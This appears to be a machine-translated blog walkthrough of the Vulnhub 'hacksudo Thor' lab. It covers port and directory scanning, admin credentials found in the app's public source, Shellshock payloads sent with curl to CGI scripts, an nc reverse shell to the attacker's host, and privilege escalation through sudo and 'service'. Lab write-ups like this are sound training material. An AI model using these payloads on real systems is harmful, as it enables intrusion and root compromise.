当前位置:网站首页>Vulnhub range hacksudo Thor
Vulnhub range hacksudo Thor
2022-07-01 17:02:00 【KALC】
1、 Target information
Target name :hacksudo - Thor
Target difficulty : secondary
Virtual machine environment : This target is recommended Virtualbox build
The goal is : obtain root jurisdiction
Target address :https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
kali The server IP | 192.168.2.172 |
Drone aircraft IP | 192.168.2.175 |
2、 The host found
2.1 Use nmap Host discovery of the network segment where the target is located , adopt MAC Know the address , The target address is
192.168.2.175
nmap -sn 192.168.2.0/24
2.2 Full port scanning of the target address
nmap -p- 192.168.2.175
2.3 Version service scan
nmap -p 21,22,80 -sV 192.168.2.175
2.4 Yes 80 Port access , Found a login window
3、WEB Directory crawling
3.1 Direct directory scanning , Try to find sensitive information
dirsearch -u http://192.168.2.175 -e *
3.2 View the scanned directory , The first is to find a markdown file , Find the code author in the file github Address
192.168.2.175/README.md
3.3 Find one images Catalog , There is no useful information
3.4 Also found another landing page , But there is no account secret at present , I don't care
http://192.168.2.175/index.php/login/
4、 Open source code leakage
4.1 Try accessing the source code publishing address found above , See if there is any sensitive information exposed https://github.com/zakee94/
4.2 visit https://github.com/zakee94/online-banking-system
The account number obtained is :admin, The password is :password123
4.3 Try to 80 Login on the port page , Prompt invalid authentication
4.4 In the code file , We found a admin_login.php The catalog of
4.5 Try to access this administrator directory , And log in with the above account secret , Found that you can successfully log in
http://192.168.2.175/admin_login.php
4.6 After login, you can perform account management and other operations
5、 Broken shell
5.1 see news.php Source code , One of them cgi-bin, Use... In the front web When the directory is found , Also sweep out cgi-bin Catalog , This requires our attention , There may be a shell breaking vulnerability
5.2 Use dirsearch Yes /cgi-bin Crawl this directory , look for cgi and sh Table of contents at the end , Here we found two directories /cgi-bin/backup.cgi
and /cgi-bin/shell.sh
dirsearch -u http://192.168.2.175/cgi-bin/ -f -e cgi,sh
5.3 Use nmap Script for shell breaking vulnerability detection , Find out backup.cgi There are shell breaking holes
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.2.175
5.4 Use nmap Script for shell breaking vulnerability detection , Find out shell.sh There are also shell breaking holes
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.2.175
5.5 Use curl command , stay ua Add shell breaking holes in the header payload, You can see the successful echo
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" \http://192.168.2.175/cgi-bin/backup.cgi
5.6 Go further to check whether the target aircraft exists nc command , Discovery is there , It means we can rebound directly shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'which nc'" \http://192.168.2.175/cgi-bin/backup.cgi
5.7 First, in the kali Listening port , And then in kali Input bounce shell Of payload, Take advantage of the broken shell to get shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 192.168.2.172 9999'" \http://192.168.2.175/cgi-bin/backup.cgi
5.8 Successfully get shell, The user name is called www-data, The next step is to raise the right
nc -nvlp 9999
5.9 Use python Upgrade to interactive shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
6、GTFOBins Raise the right
6.1 View the current user sudo jurisdiction , Find one that doesn't need a password to thor Script executed with permission
6.2 Use thor Execute script with user rights , This script will first ask us to enter thor The key of , We can enter any value here , After we return the car for confirmation , Will then ask us to enter secret messages , Here we enter a command id
, Found that the command was executed successfully , Remind us that the user is a thor Users of
sudo -u thor /home/thor/./hammer.sh
6.3 Use the script to raise the right to thor user , We are at the secret information office (Secret massage), Input bash, Successfully raised the right to thor user
6.4 see thor User sudo jurisdiction , It is found that you can use root privilege use cat command , And the use of root Permission to run service command , Here you can directly use service It's up to root. Some commands are incorrectly configured 、 The configuration was not then , You can find ways to raise rights through this website :GTFOBins
sudo service ../../bin/bash
边栏推荐
- GaussDB(for MySQL) :Partial Result Cache,通过缓存中间结果对算子进行加速
- 判断链表是否是回文链表
- 《中国智慧环保产业发展监测与投资前景研究报告(2022版)》
- Judge whether the binary tree is a binary search tree
- [C language foundation] 12 strings
- 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告
- 判断一棵二叉树是否为平衡二叉树
- The amazing open source animation library is not only awesome, but also small
- 中国氮化硅陶瓷基板行业研究与投资前景报告(2022版)
- 【C语言基础】12 字符串
猜你喜欢
Leetcode records - sort -215, 347, 451, 75
sql刷题586. 订单最多的客户
sql刷题627. 变更性别
Jojogan practice
巴比特 | 元宇宙每日必读:奈雪币、元宇宙乐园、虚拟股票游戏...奈雪的茶这波“操作拉满”的营销活动你看懂了吗?...
SystemVerilog structure (II)
【flask入门系列】Cookie与Session
免费抽奖 | 《阿巴豆》探索未来系列盲盒数字版权作品全网首发!
【splishsplash】关于如何在GUI和json上接收/显示用户参数、MVC模式和GenParam
存在安全隐患 起亚召回部分K3新能源
随机推荐
6月刊 | AntDB数据库参与编写《数据库发展研究报告》 亮相信创产业榜单
美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告
Hi Fun Summer, play SQL planner with starrocks!
Rhcsa Road
【C语言基础】12 字符串
SQL注入漏洞(Mysql与MSSQL特性)
走进微信小程序
sql刷题584. 寻找用户推荐人
Babbitt | yuan universe daily must read: Naixue coin, Yuan universe paradise, virtual stock game Do you understand Naixue's tea's marketing campaign of "operation pull full"
Girls who want to do software testing look here
Flux d'entrées / sorties et opérations de fichiers en langage C
Rhcsa Road
Redis6.0 新功能
模板引擎Velocity 基础
Gold, silver and four want to change jobs, so we should seize the time to make up
PR basic clip operation / video export operation
中国氮化硅陶瓷基板行业研究与投资前景报告(2022版)
What is the effect of choosing game shield safely in the game industry?
中国锦纶长丝缝纫线发展预测与投资方向研究报告(2022版)
剑指 Offer II 105. 岛屿的最大面积